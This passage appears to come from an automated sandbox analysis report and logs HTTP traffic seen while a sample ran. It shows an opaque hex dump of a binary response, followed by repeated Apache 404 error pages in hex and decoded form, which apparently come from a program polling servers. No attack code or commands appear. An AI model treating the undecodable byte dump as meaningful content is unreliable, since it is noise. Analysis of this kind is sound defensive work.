c2 68 39 e0 9c 70 be f4 e6 00 79 e9 bb cb f3 63 d7 bb f0 1d 8f a7 9b 11 e7 cf fd a5 6f 07 7c ec d8 81 77 2c 11 9e 7b 6f bc f1 e0 4d 9e e7 de 0f 02 78 ce 7d 36 f7 b8 c7 1f 7d c6 a9 82 21 c8 1c cf d9 7e 18 7b a1 e0 84 33 8e e7 1f fe 5f 08 bd f4 97 81 f7 f0 c1 98 fd c5 92 02 25 51 38 09 97 71 81 8e 79 e8 cf 5d ef 8a d1 5c 02 3d f3 e6 5e 64 2f c3 a8 00 5d a1 e2 e0 fd 4f 3e 83 bf 43 46 4e 8a 23 76 22 7f b1 e4 96 d7 0b c0 62 2f 16 81 ef d8 4b 3f 9c 8f 03 f7 bd a7 71 38 07 7c 81 1d c7 f0 8c 88 07 76 cf bd 99 3d c0 ba 6f dc 0c be 4b 8d 5d 2d 07 87 03 26 f9 27 e3 27 63 06 22 84 d1 d9 60 34 f8 ee 59 64 2f ce 07 87 3f 07 60 6c 04 20 3f 88 a0 3b 9c 68 35 9b 3c f2 e3 25 c2 f8 6e 09 81 3d 59 d9 81 cf 23 ee c8 76 96 fe fc 4c b0 a3 e5 93 b1 1c 5d cf 9f 8c df 9a 64 f5 03 56 df 5f 7a 33 44 f5 51 e0 cd 80 f3 52 63 58 fe 09 3c df a0 99 b7 82 bc ce 22 8c 7d 14 c7 e0 50 1a 0d 50 d4 80 e1 c9 4a d4 65 03 7f ab 2a fe 56 24 2a d1 a9 c4 a6 12 25 bf 96 ad 84 c2 5e 6d 03 ec 1c e4 f9 49 5f f8 44 24 19 c5 b7 a3 9d 58 af a2 2b 0a 40 2e 09 40 b1 0b ec 4a 1c dd 68 f4 db 24 ae 9d c2 f5 14 f1 44 60 3d e1 2a ee cd 59 81 a7 2f 8a 5c 7d 16 9d d9 73 ff 4b 52 d2 4d 3a 35 2c d7 2b f6 25 f5 96 6c 32 8a 89 15 c5 ca bb 57 b5 b9 c2 8d 5a e0 54 2e 68 82 99 3f 65 25 b2 0d ad b8 1e b3 2f 12 20 35 a6 ea 79 d5 a4 92 c6 e5 ed cb 76 ae 51 6a 51 8b 18 5d 45 b5 93 a7 f9 e3 04 d4 2c a8 a3 91 a3 13 9d b6 ca 46 a1 5c ef 53 ad c6 a6 62 b4 80 16 6d a0 48 52 22 bb 02 d9 4d ed 28 05 14 5a 81 bc 56 c2 9c 9c 3c 45 29 08 b4 24 93 69 b1 b6 59 13 a2 5a 47 eb 51 ed 02 ef 9b d4 4e 5a f5 aa cc 27 38 98 92 29 72 5b db 05 19 30 29 cb 6e a1 b6 5a d7 97 a2 64 b5 1a 3e f6 38 21 bc d0 e5 2a Data Ascii: kw Y}PH(dml,l[Hte0_;;KFD*qEHDFFDFDF$2?sx-EMAxvE\|8g
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:23:34 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:23:36 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:23:38 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:23:41 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:24:29 GMTServer: ApacheVary: User-AgentUpgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesContent-Length: 955Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 63 73 73 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 46 65 68 6c 65 72 20 34 30 34 20 2d 20 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 6d 69 74 74 77 61 6c 64 5f 73 79 73 74 65 6d 5f 70 61 67 65 73 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3e 20 20 20 0a 09 09 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 0a 09 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 09 09 64 69 76 2c 20 69 6d 67 7b 20 62 65 68 61 76 69 6f 72 3a 75 72 6c 28 2f 6d 69 74 74 77 61 6c 64 5f 73 79 73 74 65 6d 5f 70 61 67 65 73 2f 73 63 72 69 70 74 73 2f 69 65 70 6e 67 66 69 78 2e 68 74 63 29 20 7d 0a 09 09 09 3c 2f 73 74 79 6c 65 3e 0a 09 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 62 6f 78 22 3e 0a 09 09 09 3c 64 69 76 20 69 64 3d 22 6f 62 65 6e 22 3e 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 69 64 3d 22 74 65 78 74 62 6f 78 22 3e 0a 09 09 09 09 3c 64 69 76 20 69 64 3d 22 74 65 78 74 62 6f 78 63 6f 6e 74 65 6e 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 72 61 64 22 3e 26 6e 62 73 70 3b 3c 2f 73 70 61 6e 3e 20 20 0a 09 09 09 09 09 3c 68 31 3e 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 68 31 3e 20 20 20 20 20 20 20 20 20 20 20 0a 09 09 09 09 09 3c 70 3e 46 65 68 6c 65 72 20 34 30 34 20 2d 20 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 62 72 20 2f 3e 0a 09 09 09 09 09 09 44 69 65 20 61 6e 67 65 66 6f 72 64 65 72 74 65 20 53 65 69 74 65 20 65 78 69 73 74 69 65 72 74 20 6e 69 63 68 74 20 6f 64 65 72 20 73 74 65 68 74 20 74 65 6d 70 6f 72 c3 a4 72 20 6e 69 63 68 74 20 7a 75 72 20 56 65 72 66 c3 bc 67 75 6e 67 2e 3c 62 72 20 2f 3e 0a 09 09 09 09 09 09 42 69 74 74 65 20 76 65 72 73 75 63 68 65 6e 20 53 69 65 20 65 73 20 73 70 c3 a4 74 65 72 20 6e 6f 63 68 20 65 69 6e 6d 61 6c 20 6f 64 65 72 20 72 75 66 65 6e 20 53 69 65 20 64 69 65 20 53 74 61 72 74 73 65 69 74 65 20 64 65 72 20 67 65 77 c3 bc 6e 73 63 68 74 65 6e 20 44 6f 6d 61 69 6e 20 61 75 66 2e 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 75 6e 74 65 6e 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:24:31 GMTServer: ApacheVary: User-AgentUpgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesContent-Length: 955Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 63 73 73 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 46 65 68 6c 65 72 20 34 30 34 20 2d 20 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 6d 69 74 74 77 61 6c 64 5f 73 79 73 74 65 6d 5f 70 61 67 65 73 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3e 20 20 20 0a 09 09 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 0a 09 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 09 09 64 69 76 2c 20 69 6d 67 7b 20 62 65 68 61 76 69 6f 72 3a 75 72 6c 28 2f 6d 69 74 74 77 61 6c 64 5f 73 79 73 74 65 6d 5f 70 61 67 65 73 2f 73 63 72 69 70 74 73 2f 69 65 70 6e 67 66 69 78 2e 68 74 63 29 20 7d 0a 09 09 09 3c 2f 73 74 79 6c 65 3e 0a 09 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 62 6f 78 22 3e 0a 09 09 09 3c 64 69 76 20 69 64 3d 22 6f 62 65 6e 22 3e 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 69 64 3d 22 74 65 78 74 62 6f 78 22 3e 0a 09 09 09 09 3c 64 69 76 20 69 64 3d 22 74 65 78 74 62 6f 78 63 6f 6e 74 65 6e 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 72 61 64 22 3e 26 6e 62 73 70 3b 3c 2f 73 70 61 6e 3e 20 20 0a 09 09 09 09 09 3c 68 31 3e 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 68 31 3e 20 20 20 20 20 20 20 20 20 20 20 0a 09 09 09 09 09 3c 70 3e 46 65 68 6c 65 72 20 34 30 34 20 2d 20 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 62 72 20 2f 3e 0a 09 09 09 09 09 09 44 69 65 20 61 6e 67 65 66 6f 72 64 65 72 74 65 20 53 65 69 74 65 20 65 78 69 73 74 69 65 72 74 20 6e 69 63 68 74 20 6f 64 65 72 20 73 74 65 68 74 20 74 65 6d 70 6f 72 c3 a4 72 20 6e 69 63 68 74 20 7a 75 72 20 56 65 72 66 c3 bc 67 75 6e 67 2e 3c 62 72 20 2f 3e 0a 09 09 09 09 09 09 42 69 74 74 65 20 76 65 72 73 75 63 68 65 6e 20 53 69 65 20 65 73 20 73 70 c3 a4 74 65 72 20 6e 6f 63 68 20 65 69 6e 6d 61 6c 20 6f 64 65 72 20 72 75 66 65 6e 20 53 69 65 20 64 69 65 20 53 74 61 72 74 73 65 69 74 65 20 64 65 72 20 67 65 77 c3 bc 6e 73 63 68 74 65 6e 20 44 6f 6d 61 69 6e 20 61 75 66 2e 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 75 6e 74 65 6e 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:24:34 GMTServer: ApacheVary: User-AgentUpgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesContent-Length: 955Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 63 73 73 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 46 65 68 6c 65 72 20 34 30 34 20 2d 20 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 6d 69 74 74 77 61 6c 64 5f 73 79 73 74 65 6d 5f 70 61 67 65 73 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3e 20 20 20 0a 09 09 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 0a 09 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 09 09 64 69 76 2c 20 69 6d 67 7b 20 62 65 68 61 76 69 6f 72 3a 75 72 6c 28 2f 6d 69 74 74 77 61 6c 64 5f 73 79 73 74 65 6d 5f 70 61 67 65 73 2f 73 63 72 69 70 74 73 2f 69 65 70 6e 67 66 69 78 2e 68 74 63 29 20 7d 0a 09 09 09 3c 2f 73 74 79 6c 65 3e 0a 09 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 62 6f 78 22 3e 0a 09 09 09 3c 64 69 76 20 69 64 3d 22 6f 62 65 6e 22 3e 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 69 64 3d 22 74 65 78 74 62 6f 78 22 3e 0a 09 09 09 09 3c 64 69 76 20 69 64 3d 22 74 65 78 74 62 6f 78 63 6f 6e 74 65 6e 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 72 61 64 22 3e 26 6e 62 73 70 3b 3c 2f 73 70 61 6e 3e 20 20 0a 09 09 09 09 09 3c 68 31 3e 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 68 31 3e 20 20 20 20 20 20 20 20 20 20 20 0a 09 09 09 09 09 3c 70 3e 46 65 68 6c 65 72 20 34 30 34 20 2d 20 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 62 72 20 2f 3e 0a 09 09 09 09 09 09 44 69 65 20 61 6e 67 65 66 6f 72 64 65 72 74 65 20 53 65 69 74 65 20 65 78 69 73 74 69 65 72 74 20 6e 69 63 68 74 20 6f 64 65 72 20 73 74 65 68 74 20 74 65 6d 70 6f 72 c3 a4 72 20 6e 69 63 68 74 20 7a 75 72 20 56 65 72 66 c3 bc 67 75 6e 67 2e 3c 62 72 20 2f 3e 0a 09 09 09 09 09 09 42 69 74 74 65 20 76 65 72 73 75 63 68 65 6e 20 53 69 65 20 65 73 20 73 70 c3 a4 74 65 72 20 6e 6f 63 68 20 65 69 6e 6d 61 6c 20 6f 64 65 72 20 72 75 66 65 6e 20 53 69 65 20 64 69 65 20 53 74 61 72 74 73 65 69 74 65 20 64 65 72 20 67 65 77 c3 bc 6e 73 63 68 74 65 6e 20 44 6f 6d 61 69 6e 20 61 75 66 2e 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 75 6e 74 65 6e 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:24:37 GMTServer: ApacheVary: User-AgentUpgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesContent-Length: 955Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 63 73 73 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 46 65 68 6c 65 72 20 34 30 34 20 2d 20 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 6d 69 74 74 77 61 6c 64 5f 73 79 73 74 65 6d 5f 70 61 67 65 73 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 3e 20 20 20 0a 09 09 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 0a 09 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 09 09 64 69 76 2c 20 69 6d 67 7b 20 62 65 68 61 76 69 6f 72 3a 75 72 6c 28 2f 6d 69 74 74 77 61 6c 64 5f 73 79 73 74 65 6d 5f 70 61 67 65 73 2f 73 63 72 69 70 74 73 2f 69 65 70 6e 67 66 69 78 2e 68 74 63 29 20 7d 0a 09 09 09 3c 2f 73 74 79 6c 65 3e 0a 09 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 2f 68 65 61 64 3e 0a 09 3c 62 6f 64 79 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 62 6f 78 22 3e 0a 09 09 09 3c 64 69 76 20 69 64 3d 22 6f 62 65 6e 22 3e 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 69 64 3d 22 74 65 78 74 62 6f 78 22 3e 0a 09 09 09 09 3c 64 69 76 20 69 64 3d 22 74 65 78 74 62 6f 78 63 6f 6e 74 65 6e 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 72 61 64 22 3e 26 6e 62 73 70 3b 3c 2f 73 70 61 6e 3e 20 20 0a 09 09 09 09 09 3c 68 31 3e 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 2f 68 31 3e 20 20 20 20 20 20 20 20 20 20 20 0a 09 09 09 09 09 3c 70 3e 46 65 68 6c 65 72 20 34 30 34 20 2d 20 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 3c 62 72 20 2f 3e 0a 09 09 09 09 09 09 44 69 65 20 61 6e 67 65 66 6f 72 64 65 72 74 65 20 53 65 69 74 65 20 65 78 69 73 74 69 65 72 74 20 6e 69 63 68 74 20 6f 64 65 72 20 73 74 65 68 74 20 74 65 6d 70 6f 72 c3 a4 72 20 6e 69 63 68 74 20 7a 75 72 20 56 65 72 66 c3 bc 67 75 6e 67 2e 3c 62 72 20 2f 3e 0a 09 09 09 09 09 09 42 69 74 74 65 20 76 65 72 73 75 63 68 65 6e 20 53 69 65 20 65 73 20 73 70 c3 a4 74 65 72 20 6e 6f 63 68 20 65 69 6e 6d 61 6c 20 6f 64 65 72 20 72 75 66 65 6e 20 53 69 65 20 64 69 65 20 53 74 61 72 74 73 65 69 74 65 20 64 65 72 20 67 65 77 c3 bc 6e 73 63 68 74 65 6e 20 44 6f 6d 61 69 6e 20 61 75 66 2e 3c 2f 70 3e 0a 09 09 